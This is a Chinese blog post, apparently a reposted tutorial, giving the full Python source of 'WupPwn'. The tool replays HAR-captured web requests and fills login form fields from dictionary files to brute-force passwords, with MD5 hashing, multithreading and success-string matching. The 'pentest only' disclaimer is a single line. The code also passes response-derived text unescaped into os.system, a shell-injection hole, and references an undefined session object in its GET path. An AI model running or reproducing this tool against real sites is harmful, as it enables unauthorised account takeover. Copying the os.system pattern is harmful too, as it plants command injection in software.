您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關(guān)在Python利用Har文件實現(xiàn)遍歷并指定字典替換提交的數(shù)據(jù)的方法,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
利用Chrome或Firefox保存的Har文件http/https請求,可用于遍歷字典提交From表單.
少說廢話直接上代碼
Github地址:https://github.com/H0xMrLin/wuppwn
#encoding:utf-8 import sys; #Yeah,我沒有注釋。懶得寫 HelpContent=""" Help: +=====================================================================================================================+ WupPwn.py Python3 WupPwn.py HarFileName [pd=filedName:Value|pd=filedName:$DicFileName] [if=responseContent] [ifnot=responseContent] [ifend=responseContent] [out=OutFileName] HarFileName har文件名 谷歌或Firefox web抓包保存為har entries下可以看到所有請求的地址及參數(shù) 可以刪除一些不必要的請求讓程序更快運行 pd 設(shè)置上傳數(shù)據(jù) 字段名:值 或者 字段名:字典 if=xxx 如果內(nèi)容是xxx那就記錄 可多個用||隔開 ifnot=xxx 如果內(nèi)容不是xxx哪就記錄 可多個用||隔開 ifend=xxx 如果內(nèi)容是xxx那就記錄并結(jié)束 可多個用||隔開 out=xx.txt 輸出記錄到文件 see=on|off 查看每次嘗試破解響應(yīng) Current request method have: GET/POST *且目前不支持http請求頭帶 RFC 標(biāo)識 (RFC-eg: ':method':'POST')可以檢查是否有 md5=XXX 將 指定字段名的值進(jìn)行md5加密再暴力破解 一般=password||passwd||pwd ... th=5 設(shè)置5個線程同時運行 版本警告: 《!》: 切勿用作違法使用,僅供滲透測試,如非法使用該工具與作者無關(guān)。 Makerby:Pwn0_+x_X +=====================================================================================================================+ """; if(len(sys.argv) <=1): print(HelpContent); sys.exit(1); if(sys.argv[1].lower()=="h" or sys.argv[1].lower()=="-h" or sys.argv[1].lower()=="help"or sys.argv[1].lower()=="-help"): print(HelpContent); sys.exit(1); import os; import json; import urllib.request; import requests; import socket; import hashlib; import threading; import traceback; import uuid; import copy from hyper.contrib import HTTP20Adapter; socket.setdefaulttimeout(3); CAllowRequestMethod=["get","post"]; HARFile=sys.argv[1]; harfp=open(HARFile,"rb"); harContent=harfp.read(); HarJSON=json.loads(harContent); Body=HarJSON["log"] print("Version :"+Body["version"]); print("Request Count :"+str( len(Body["entries"]))) AimUrlAPar={}; for reqBody in Body["entries"]: AimUrlAPar[reqBody["request"]["url"]]={}; AllowRequest="×"; if(reqBody["request"]["method"].lower() in CAllowRequestMethod): AllowRequest="√"; else: print(" "*5,"[",AllowRequest,"]",reqBody["request"]["method"],"\t\t"+reqBody["request"]["url"].split("?")[0]) continue; print(" "*5,"[",AllowRequest,"]",reqBody["request"]["method"],"\t\t"+reqBody["request"]["url"].split("?")[0]) Parameter= reqBody["request"]["queryString"] if reqBody["request"]["method"].lower()=="get" else reqBody["request"]["postData"]["text"] #print(Parameter) if(reqBody["request"]["method"].lower()=="post"): if "application/json" in reqBody["request"]["postData"]["mimeType"]: Parameter=json.loads(Parameter) else: Parameter=reqBody["request"]["postData"]["params"]; tmpPar={}; for item in Parameter: tmpPar[item["name"]]=item["value"]; Parameter=tmpPar; AimUrlAPar[reqBody["request"]["url"]]["paramtertype"]=reqBody["request"]["postData"]["mimeType"].lower() elif(reqBody["request"]["method"].lower()=="get"): Par={}; #print("get") for item in Parameter: Par[item["name"]]=item["value"] Parameter=Par; headers={}; headNotContains=["Content-Length"]; for headFiled in reqBody["request"]["headers"]: if headFiled["name"] in headNotContains: continue; headers[headFiled["name"]]=headFiled["value"]; cookies={}; for headFiled in reqBody["request"]["cookies"]: cookies[headFiled["name"]]=headFiled["value"]; #print(cookies); AimUrlAPar[reqBody["request"]["url"]]["arguments"]=Parameter AimUrlAPar[reqBody["request"]["url"]]["header"]=headers AimUrlAPar[reqBody["request"]["url"]]["cookies"]=cookies AimUrlAPar[reqBody["request"]["url"]]["method"]=reqBody["request"]["method"].lower() AimUrlAPar[reqBody["request"]["url"]]["httpversion"]=reqBody["request"]["httpVersion"].lower() #系統(tǒng)存儲 kPMd5={}; #用戶參數(shù)設(shè)定 pds=[]; ifC=[];# 最小優(yōu)先級 ifN=[];# 其二優(yōu)先級 ifE=[];# 最大優(yōu)先級 otFile=""; ascMD5=[]; testsee="off"; see="off"; th=0; #因為我不太喜歡指令的參數(shù)化模塊 所以我直接寫了個硬代碼 注:python的模塊有時候很討厭. def setBaseParamters(Key,Value): global see,otFile,testsee,th; Key=Key.lower(); if(Key=="pd"): FILEDSUM=Value.split(":"); filedName=FILEDSUM[0]; filedValue=FILEDSUM[1]; if(filedValue[0]=="$"): apArr=[]; filedP=open(filedValue[1:],"r"); redValueLines=filedP.readlines(); for val in redValueLines: apArr.append({filedName:val.replace("\n","")}); pds.append(apArr); else: pds.append([{filedName:filedValue}]); elif(Key=="if"): ifcItems=Value.split("||"); for item in ifcItems: ifC.append(item); elif(Key=="ifnot"): ifcItems=Value.split("||"); for item in ifcItems: ifN.append(item); elif(Key=="ifend"): ifcItems=Value.split("||"); for item in ifcItems: ifE.append(item); elif(Key=="md5"): md5Items=Value.split("||"); for item in md5Items: ascMD5.append(item); elif(Key=="see"): see=Value.strip().lower(); elif(Key=="out"): otFile=Value.strip().lower(); elif(Key=="testsee"): testsee=Value.strip().lower(); elif(Key=="th"): th=int(Value.strip().lower()); return; curThs={}; def pdLoop(index,havePar={},myThead=None): global curThs,kPMd5; for item in pds[index]: FiledName=list(item.keys())[0]; FiledValue=list(item.values())[0]; if(FiledName in ascMD5): m5Obj=hashlib.md5(bytes(FiledValue,encoding="UTF-8")); SourceValue=FiledValue; FiledValue=m5Obj.hexdigest(); kPMd5[FiledValue]=SourceValue; havePar[FiledName]=FiledValue; if(index>0): if(th>0 and len(curThs)<th ): print("[+]線程記錄點") childThread=str(uuid.uuid1()).replace("-",""); RunTh= threading.Thread(target=pdLoop,args=(index-1,copy.deepcopy(havePar),childThread,)); curThs[childThread]=RunTh; RunTh.start(); else: pdLoop(index-1,copy.deepcopy(havePar)); else: Call(havePar); if(myThead!=None): print("[+]線程釋放點",myThead) curThs.pop(myThead); def Call(sendData): for reqUrl in list(AimUrlAPar.keys()): CurHeaders= AimUrlAPar[reqUrl]["header"]; CurHeaders["Cookie"]=""; CurCookies= AimUrlAPar[reqUrl]["cookies"]; for cookieKey in list(CurCookies.keys()): CurHeaders["Cookie"]+=cookieKey+"="+CurCookies[cookieKey]+";" #print(cookieKey+"="+CurCookies[cookieKey]+";"); CurArguments= AimUrlAPar[reqUrl]["arguments"]; for cgDataKey in list(sendData.keys()): CurArguments[cgDataKey]=sendData[cgDataKey]; try: if(AimUrlAPar[reqUrl]["method"]=="get"): print("[+]GET-Pwn:%s"%(reqUrl)); #data = urllib.parse.urlencode(CurArguments).encode('utf-8'); if(AimUrlAPar[reqUrl]["httpversion"]=="http/2.0"): sessions.mount(reqUrl,HTTP20Adapter()); res=requests.get(reqUrl,headers=CurHeaders,params=CurArguments); print(res.text); Auth(CurArguments,res.text); elif(AimUrlAPar[reqUrl]["method"]=="post"): """ data = urllib.parse.urlencode(CurArguments).encode('utf-8') request = urllib.request.Request(reqUrl,data = data,headers = CurHeaders,method="POST"); response = urllib.request.urlopen(request) html = response.read().decode('utf-8')""" if(AimUrlAPar[reqUrl]["paramtertype"]=="application/x-www-form-urlencoded"): data = urllib.parse.urlencode(CurArguments).encode('utf-8') else: data = json.dumps(CurArguments); sessions=requests.session(); if(AimUrlAPar[reqUrl]["httpversion"]=="http/2.0"): sessions.mount(reqUrl,HTTP20Adapter()); res=sessions.post(reqUrl,data=data,headers=CurHeaders); Auth(CurArguments,res.text); None; except Exception as e: print("[-]Pwn timeout",traceback.print_exc(),kPMd5) def Auth(Arguments,resContent): Success=False; Arguments=copy.deepcopy(Arguments) for argItemName in list(Arguments.keys()): if(argItemName in ascMD5): Arguments[argItemName]=kPMd5[Arguments[argItemName]]; #print(ifE,ifC,ifN) for ifeItem in ifE: if(ifeItem in resContent): Output(str(Arguments)); sys.exit(1); for ifnItem in ifN: if not(ifnItem in resContent ): Output(str(Arguments)); Success=True for ifcItem in ifC: if (ifcItem in resContent ): Output(str(Arguments)); Success=True if(see=='on'): print({True:"\t[√]",False:"[-]"}[Success],Success,Arguments); if(testsee=="on"): print(resContent); def Output(text): if(otFile.strip() == ""): return; os.system("echo %s>>%s"%(text,otFile)); return ; for index in range(len(sys.argv)-2): parIndex=index+2; parItem= sys.argv[parIndex]; try: Item= parItem.split("="); key=Item[0]; value=Item[1]; setBaseParamters(key,value); except: print("Error paramter(%s)"%(parItem)); #print(AimUrlAPar); if(len(pds)-1>=0): pdLoop(len(pds)-1)
以上就是在Python利用Har文件實現(xiàn)遍歷并指定字典替換提交的數(shù)據(jù)的方法,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降摹OM隳芡ㄟ^這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。